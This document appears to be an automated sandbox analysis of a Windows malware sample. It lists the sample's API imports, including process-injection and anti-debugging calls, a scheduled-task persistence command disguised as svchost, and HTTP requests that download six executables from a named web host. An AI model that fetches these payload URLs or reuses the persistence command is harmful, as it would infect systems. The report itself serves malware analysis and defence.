advapi32.dll.ConvertSidToStringSidW
shell32.dll.SHGetFolderPathW
kernel32.dll.GetWriteWatch
kernel32.dll.ResetWriteWatch
kernel32.dll.CreateMemoryResourceNotification
kernel32.dll.QueryMemoryResourceNotification
kernel32.dll.QueryActCtxW
kernel32.dll.GetVersionExW
kernel32.dll.GetFullPathNameW
ole32.dll.CoInitializeEx
cryptbase.dll.SystemFunction036
ole32.dll.CoGetContextToken
advapi32.dll.CryptAcquireContextA
advapi32.dll.CryptReleaseContext
advapi32.dll.CryptCreateHash
advapi32.dll.CryptDestroyHash
advapi32.dll.CryptHashData
advapi32.dll.CryptGetHashParam
advapi32.dll.CryptImportKey
advapi32.dll.CryptExportKey
advapi32.dll.CryptGenKey
advapi32.dll.CryptGetKeyParam
advapi32.dll.CryptDestroyKey
advapi32.dll.CryptVerifySignatureA
advapi32.dll.CryptSignHashA
advapi32.dll.CryptGetProvParam
advapi32.dll.CryptGetUserKey
advapi32.dll.CryptEnumProvidersA
mscoree.dll.GetMetaDataInternalInterface
mscoreei.dll.GetMetaDataInternalInterface
mscorwks.dll.GetMetaDataInternalInterface
mscorjit.dll.getJit
kernel32.dll.GetUserDefaultUILanguage
kernel32.dll.SetErrorMode
kernel32.dll.GetFileAttributesExW
mscoreei.dll.LoadLibraryShim
culture.dll.ConvertLangIdToCultureName
kernel32.dll.GlobalMemoryStatusEx
kernel32.dll.SwitchToThread
kernel32.dll.CloseHandle
advapi32.dll.LookupPrivilegeValueW
kernel32.dll.GetCurrentProcess
advapi32.dll.AdjustTokenPrivileges
ntdll.dll.NtQuerySystemInformation
user32.dll.EnumWindows
user32.dll.GetWindowThreadProcessId
user32.dll.GetWindow
user32.dll.IsWindowVisible
user32.dll.GetWindowTextLengthW
user32.dll.GetWindowTextW
kernel32.dll.IsDebuggerPresent
kernel32.dll.GetModuleHandleA
kernel32.dll.GetACP
kernel32.dll.UnmapViewOfFile
shfolder.dll.SHGetFolderPathW
kernel32.dll.CreateDirectoryW
kernel32.dll.LocalFree
kernel32.dll.LocalAlloc
kernel32.dll.lstrlen
kernel32.dll.lstrlenW
mscoree.dll.ND_RI4
mscoreei.dll.ND_RI4
mscoree.dll.ND_RU1
mscoreei.dll.ND_RU1
advapi32.dll.LsaClose
advapi32.dll.LsaFreeMemory
advapi32.dll.LsaOpenPolicy
advapi32.dll.LsaLookupSids
kernel32.dll.CopyFileW
kernel32.dll.CreateFileW
kernel32.dll.GetFileType
kernel32.dll.WriteFile
kernel32.dll.RtlMoveMemory
uxtheme.dll.ThemeInitApiHook
user32.dll.IsProcessDPIAware
shell32.dll.ShellExecuteEx
shell32.dll.ShellExecuteExW
setupapi.dll.CM_Get_Device_Interface_List_Size_ExW
setupapi.dll.CM_Get_Device_Interface_List_ExW
comctl32.dll.#332
comctl32.dll.#386
ole32.dll.CoUninitialize
ole32.dll.CoRevokeInitializeSpy
comctl32.dll.#388
oleaut32.dll.#500
kernel32.dll.DuplicateHandle
kernel32.dll.DeleteFileW
kernel32.dll.GetEnvironmentVariableW
kernel32.dll.GetTempPathW
kernel32.dll.CreateProcessA
ntdll.dll.NtUnmapViewOfSection
kernel32.dll.VirtualAllocEx
kernel32.dll.GetThreadContext
kernel32.dll.WriteProcessMemory
kernel32.dll.VirtualProtectEx
kernel32.dll.SetThreadContext
kernel32.dll.ResumeThread
advapi32.dll.RegCreateKeyExW
advapi32.dll.RegSetValueExW
user32.dll.GetProcessWindowStation
user32.dll.GetUserObjectInformationA
user32.dll.GetActiveWindow
kernel32.dll.GetCurrentThread
kernel32.dll.GetCurrentThreadId
ole32.dll.OleInitialize
ole32.dll.CoRegisterMessageFilter
user32.dll.EnumThreadWindows
user32.dll.GetFocus
user32.dll.MessageBoxW
gdi32.dll.GetLayout
gdi32.dll.GdiRealizationInfo
gdi32.dll.FontIsLinked
gdi32.dll.GetTextFaceAliasW
gdi32.dll.GetFontAssocStatus
advapi32.dll.RegQueryValueExA
dwmapi.dll.DwmIsCompositionEnabled
gdi32.dll.GdiIsMetaPrintDC
oleaut32.dll.SysAllocString
oleaut32.dll.SysStringLen
oleaut32.dll.SysFreeString
user32.dll.SendMessageW
kernel32.dll.GetFileSize
kernel32.dll.ReadFile
mscoree.dll.ND_RI2
mscoreei.dll.ND_RI2
kernel32.dll.CreateEventW
rasapi32.dll.RasEnumConnectionsW
rtutils.dll.TraceRegisterExA
rtutils.dll.TracePrintfExA
sechost.dll.OpenSCManagerW
sechost.dll.OpenServiceW
sechost.dll.QueryServiceStatus
sechost.dll.CloseServiceHandle
ws2_32.dll.WSAStartup
ws2_32.dll.WSASocketW
ws2_32.dll.setsockopt
ws2_32.dll.WSAEventSelect
ws2_32.dll.ioctlsocket
ws2_32.dll.closesocket
kernel32.dll.GetCurrentProcessId
kernel32.dll.GetComputerNameW
advapi32.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW
kernel32.dll.CreateFileMappingW
kernel32.dll.MapViewOfFile
kernel32.dll.VirtualQuery
kernel32.dll.ReleaseMutex
advapi32.dll.CreateWellKnownSid
kernel32.dll.CreateMutexW
kernel32.dll.WaitForSingleObject
kernel32.dll.OpenMutexW
kernel32.dll.OpenProcess
kernel32.dll.GetProcessTimes
ws2_32.dll.WSAIoctl
kernel32.dll.FormatMessageW
rasapi32.dll.RasConnectionNotificationW
advapi32.dll.RegOpenCurrentUser
advapi32.dll.RegNotifyChangeKeyValue
sechost.dll.NotifyServiceStatusChangeA
winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser
kernel32.dll.SetEvent
kernel32.dll.ResetEvent
iphlpapi.dll.GetNetworkParams
dnsapi.dll.DnsQueryConfig
iphlpapi.dll.GetAdaptersAddresses
iphlpapi.dll.GetIpInterfaceEntry
iphlpapi.dll.GetBestInterfaceEx
ws2_32.dll.inet_addr
ws2_32.dll.getaddrinfo
ws2_32.dll.freeaddrinfo
ws2_32.dll.WSAConnect
ws2_32.dll.send
ws2_32.dll.recv
ws2_32.dll.shutdown
comctl32.dll.#321
kernel32.dll.CreateActCtxW
kernel32.dll.AddRefActCtx
kernel32.dll.ReleaseActCtx
kernel32.dll.ActivateActCtx
kernel32.dll.DeactivateActCtx
kernel32.dll.GetCurrentActCtx
advapi32.dll.EventUnregister
kernel32.dll.SortGetHandle
kernel32.dll.SortCloseHandle
sechost.dll.LookupAccountNameLocalW
advapi32.dll.LookupAccountSidW
sechost.dll.LookupAccountSidLocalW
sspicli.dll.GetUserNameExW
wbemcore.dll.Reinitialize
pcwum.dll.PerfDeleteInstance
ole32.dll.CoTaskMemAlloc
pcwum.dll.PerfStopProvider
cryptsp.dll.CryptReleaseContext
advapi32.dll.WmiNotificationRegistrationW
wtsapi32.dll.WTSQueryUserToken
ole32.dll.CLSIDFromString
oleaut32.dll.#17
oleaut32.dll.#20
oleaut32.dll.#19
oleaut32.dll.#25
authz.dll.AuthzInitializeContextFromToken
authz.dll.AuthzInitializeResourceManager
authz.dll.AuthzInitializeContextFromSid
authz.dll.AuthzAccessCheck
authz.dll.AuthzFreeContext
authz.dll.AuthzFreeResourceManager
oleaut32.dll.#8
oleaut32.dll.#2
oleaut32.dll.#9
ole32.dll.CoCreateGuid
oleaut32.dll.#6
oleaut32.dll.#7
sechost.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW
qmgr.dll.ServiceMain
advapi32.dll.SetEntriesInAclW
ws2_32.dll.#115
ws2_32.dll.#111
bitsigd.dll.InitializeEx
ole32.dll.CoCreateInstance
upnp.dll.DllGetClassObject
upnp.dll.DllCanUnloadNow
rpcrt4.dll.RpcStringBindingComposeA
rpcrt4.dll.RpcBindingFromStringBindingA
rpcrt4.dll.RpcStringFreeA
rpcrt4.dll.NdrClientCall3
rpcrt4.dll.I_RpcExceptionFilter
sechost.dll.OpenSCManagerA
sechost.dll.OpenServiceA
sechost.dll.StartServiceA
rpcrt4.dll.RpcBindingFree
ws2_32.dll.#116
advapi32.dll.LogonUserW
sspicli.dll.LogonUserExExW
wtsapi32.dll.WTSEnumerateSessionsW
wtsapi32.dll.WTSFreeMemory
advapi32.dll.QueryAllTracesW
vssapi.dll.CreateWriter
ole32.dll.CoRegisterClassObject
winhttp.dll.WinHttpOpen
winhttp.dll.WinHttpGetProxyForUrl
user32.dll.RegisterRawInputDevices
user32.dll.GetRawInputData
ole32.dll.CoRegisterInitializeSpy
advapi32.dll.EventWrite
advapi32.dll.EventEnabled
rpcrtremote.dll.I_RpcExtInitializeExtensionPoint
ntdll.dll.ZwQueryInformationProcess
ntdll.dll.NtQuerySection
ntdll.dll.LdrProcessRelocationBlock
sppwinob.dll.SppPluginInitialize
sppwinob.dll.SppPluginShutdown
sppwinob.dll.SppPluginCreateInstance
sppwinob.dll.SppPluginCanUnloadNow
sppobjs.dll.SppPluginInitialize
sppobjs.dll.SppPluginShutdown
sppobjs.dll.SppPluginCreateInstance
sppobjs.dll.SppPluginCanUnloadNow
advapi32.dll.NotifyServiceStatusChangeW
setupapi.dll.SetupDiGetClassDevsW
setupapi.dll.SetupDiEnumDeviceInfo
setupapi.dll.SetupDiGetDeviceRegistryPropertyW
setupapi.dll.SetupDiDestroyDeviceInfoList
wintrust.dll.WinVerifyTrust
setupapi.dll.SetupDiEnumDeviceInterfaces
setupapi.dll.SetupDiGetDeviceInterfaceDetailW
kernel32.dll.GetSystemFirmwareTable
ole32.dll.CoTaskMemFree
ole32.dll.PropVariantClear

Execute Commands

schtasks.exe /Create /TN "svchost\svchost" /XML "C:\Users\Seven01\AppData\Roaming\svchost\aUUUUU.xml"
C:\Users\Seven01\AppData\Local\Temp\1.exe 
C:\Users\Seven01\AppData\Local\Temp\2.exe 
C:\Users\Seven01\AppData\Local\Temp\3.exe 
C:\Users\Seven01\AppData\Local\Temp\4.exe 
C:\Users\Seven01\AppData\Local\Temp\5.exe 
C:\Users\Seven01\AppData\Local\Temp\6.exe 
C:\Windows\system32\sppsvc.exe

Started Services

SSDPSRV

Created Services

Nothing to display
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven04_64 Seven04_64 VirtualBox 2017-10-24 15:48:58 2017-10-24 15:53:23 265

6 HTTP Request(s) detected

http://farizcollection.com/Panel/temp/upload/1.exe
  • Hostname: farizcollection.com
  • IP Address: 202.52.146.76
  • Port: 80
  • Count: 1

GET /Panel/temp/upload/1.exe HTTP/1.1
Host: farizcollection.com
Connection: Keep-Alive

http://farizcollection.com/Panel/temp/upload/2.exe
  • Hostname: farizcollection.com
  • IP Address: 202.52.146.76
  • Port: 80
  • Count: 1

GET /Panel/temp/upload/2.exe HTTP/1.1
Host: farizcollection.com

http://farizcollection.com/Panel/temp/upload/3.exe
  • Hostname: farizcollection.com
  • IP Address: 202.52.146.76
  • Port: 80
  • Count: 1

GET /Panel/temp/upload/3.exe HTTP/1.1
Host: farizcollection.com

http://farizcollection.com/Panel/temp/upload/4.exe
  • Hostname: farizcollection.com
  • IP Address: 202.52.146.76
  • Port: 80
  • Count: 1

GET /Panel/temp/upload/4.exe HTTP/1.1
Host: farizcollection.com

http://farizcollection.com/Panel/temp/upload/5.exe
  • Hostname: farizcollection.com
  • IP Address: 202.52.146.76
  • Port: 80
  • Count: 1

GET /Panel/temp/upload/5.exe HTTP/1.1
Host: farizcollection.com

http://farizcollection.com/Panel/temp/upload/6.exe
  • Hostname: farizcollection.com
  • IP Address: 202.52.146.76
  • Port: 80
  • Count: 1

GET /Panel/temp/upload/6.exe HTTP/1.1
Host: farizcollection.com

Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven04_64 Seven04_64 VirtualBox 2017-10-24 15:48:58 2017-10-24 15:53:23 265

1 Host(s) detected

IP Address Hostname Reverse DNS
213.183.58.34 Russian Federation

Host(s) by Country

Hosts Country 1
1 Russian Federation Russian Federation